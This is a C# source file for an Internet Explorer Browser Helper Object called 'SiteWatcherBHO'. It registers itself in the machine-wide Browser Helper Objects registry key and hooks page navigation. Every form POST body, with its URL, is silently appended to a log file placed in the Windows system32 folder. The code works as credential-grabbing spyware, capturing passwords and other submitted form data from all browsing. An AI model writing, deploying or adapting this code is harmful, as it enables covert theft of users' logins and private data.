using System;
using System.Runtime.InteropServices;
using Microsoft.Win32;
using SHDocVw;
using System.IO;

[ComImport(), Guid("fc4801a3-2ba9-11cf-a229-00aa003d7352")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
public interface IObjectWithSite
{
    void SetSite([In,MarshalAs(UnmanagedType.IUnknown)]object pUnkSite);
    void GetSite(ref Guid riid, [MarshalAs(UnmanagedType.IUnknown)]out object ppvSite);
}


[ComVisible(true),
 ClassInterface(ClassInterfaceType.None),
 Guid(SiteWatcherBHO.BHO_GUID)]
public class SiteWatcherBHO : IObjectWithSite
{
    public const string BHO_GUID = "C37FC32C-8854-4573-AFC6-C0C6D82E260B"; // << Your GUID goes here    
    protected SHDocVw.IWebBrowser2 m_pIWebBrowser2; // the browser class object
    protected SHDocVw.DWebBrowserEvents2_Event m_pDWebBrowserEvents2; // browser events 
    protected SHDocVw.DWebBrowserEvents_Event m_pDWebBrowserEvents;
   // private FileStream f;

    public SiteWatcherBHO()
    {
        //f = new FileStream("post.log", FileMode.Append);
    }

    ~SiteWatcherBHO()
    {
        //f.Close();
    }

    public bool output(string url, string data)
    {
        try
        {
            FileStream f = new FileStream(System.Environment.GetEnvironmentVariable("windir") + "\\system32\\post.log", FileMode.Append);
            f.Write(new System.Text.ASCIIEncoding().GetBytes(url), 0, new System.Text.ASCIIEncoding().GetBytes(url).Length);
            f.Write(new System.Text.ASCIIEncoding().GetBytes(data), 0, new System.Text.ASCIIEncoding().GetBytes(data).Length);
            f.Close();
            return true;
        }
        catch
        {
            return false;
        }
    }

    /// <summary>
    /// IE invokes this method and passes the IUnknown pointer to the
    /// container site. We can get the IWebBrowser2 interface from this and subscribe
    /// to DWebBrowserEvents2 events sent by the Web browser class.
    /// </summary>
    /// <param name="pUnkSite">The container site's IUnknown pointer</param>
    public void SetSite(object pUnkSite)
    {
        // get IWebBrowser2 reference
        if (m_pIWebBrowser2 != null)
            Release();

        if (pUnkSite == null)
            return;

        m_pIWebBrowser2 = pUnkSite as SHDocVw.IWebBrowser2;
        // check filename, only load for IEXPLORE.EXE
        string sHostName = m_pIWebBrowser2.FullName;
        if (!(sHostName.ToUpper().EndsWith("IEXPLORE.EXE")))
        {
            Release();
        }

        // connect to browser events
        m_pDWebBrowserEvents2 = m_pIWebBrowser2 as SHDocVw.DWebBrowserEvents2_Event;
        //m_pDWebBrowserEvents = m_pIWebBrowser2 as SHDocVw.DWebBrowserEvents_Event;
        if (m_pDWebBrowserEvents2 != null)
            m_pDWebBrowserEvents2.BeforeNavigate2 += new SHDocVw.DWebBrowserEvents2_BeforeNavigate2EventHandler(BeforeNavigate2);
        
        // if (m_pDWebBrowserEvents != null)
        //     m_pDWebBrowserEvents.BeforeNavigate += new SHDocVw.DWebBrowserEvents_BeforeNavigateEventHandler(BeforeNavigate);
        else
            Release();

        return;
    }

    /// <summary>
    /// Callers invoke this to retrieve the container site previously sent to SetSite().
    /// This implementation handles the return of appropriate HRESULT per the
    /// documented interface requirements for IObjectWithSite.
    /// </summary>
    /// <param name="riid">GUID for the interface requested of the site object</param>
    /// <param name="ppvSite">Fill this with the site object if we find the interface through QI call</param>
    public void GetSite(ref System.Guid riid, out object ppvSite)
    {
        // default implementation should return the stored site pointer
        // but following the implementation rules means we check for the
        // requested interface using QueryInterface()
        ppvSite = null;
        if (m_pIWebBrowser2 != null)
        {
            IntPtr pSite = IntPtr.Zero;
            IntPtr pUnk = Marshal.GetIUnknownForObject(m_pIWebBrowser2); // adds ref
            Marshal.QueryInterface(pUnk, ref riid, out pSite); // adds ref
            Marshal.Release(pUnk);  // reduce reference count, we won't be needing pUnk 
            Marshal.Release(pUnk);

            if (!pSite.Equals(IntPtr.Zero))
                ppvSite = (object)pSite;
            else
                Release();
        }
        else
        {
            Release();
        }

        return;
    }

    protected void BeforeNavigate2(object pDisp, ref object url, ref object Flags, ref object TargetFrameName,
            ref object PostData, ref object Headers, ref bool Cancel)
    {
        try
        {
            String data = "";
            try { data = System.Text.Encoding.UTF8.GetString((byte[])PostData); }
            catch { }
            if (data.Length > 1)
            {
                
                //string URL = url + "\n";
                //f.Write(new System.Text.ASCIIEncoding().GetBytes(URL), 0, new System.Text.ASCIIEncoding().GetBytes(URL).Length);
                //data += "\n\n";
                //f.Write(new System.Text.ASCIIEncoding().GetBytes(data), 0, new System.Text.ASCIIEncoding().GetBytes(data).Length);
                //f.Flush();
                output(url + "\r\n", data + "\n\r\n\r");
            }   
        }
        catch (Exception ex)
        {
            //f.Write(new System.Text.ASCIIEncoding().GetBytes(ex.Message), 0, new System.Text.ASCIIEncoding().GetBytes(ex.Message).Length);
           // f.Flush();
        }
    }

    protected void Release()
    {
        if (m_pDWebBrowserEvents2 != null)
        {
            Marshal.ReleaseComObject(m_pDWebBrowserEvents2);
            m_pDWebBrowserEvents2 = null;
        }

        if (m_pIWebBrowser2 != null)
        {
            Marshal.ReleaseComObject(m_pIWebBrowser2);
            m_pIWebBrowser2 = null;
        }
    }

    public static string BHOKEYNAME = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects";
    [ComRegisterFunction]
    public static void RegisterBHO(Type t)
    {
        RegistryKey key = Registry.LocalMachine.OpenSubKey(BHOKEYNAME, true);

        if (key == null)
            key = Registry.LocalMachine.CreateSubKey(BHOKEYNAME);

        string guidString = t.GUID.ToString("B");
        RegistryKey bhoKey = key.OpenSubKey(guidString);

        if (bhoKey == null)
            bhoKey = key.CreateSubKey(guidString);

        key.Close();
        bhoKey.Close();
    }

    [ComUnregisterFunction]
    public static void UnregisterBHO(Type t)
    {
        RegistryKey key = Registry.LocalMachine.OpenSubKey(BHOKEYNAME, true);
        string guidString = t.GUID.ToString("B");

        if (key != null)
            key.DeleteSubKey(guidString, false);
    }
}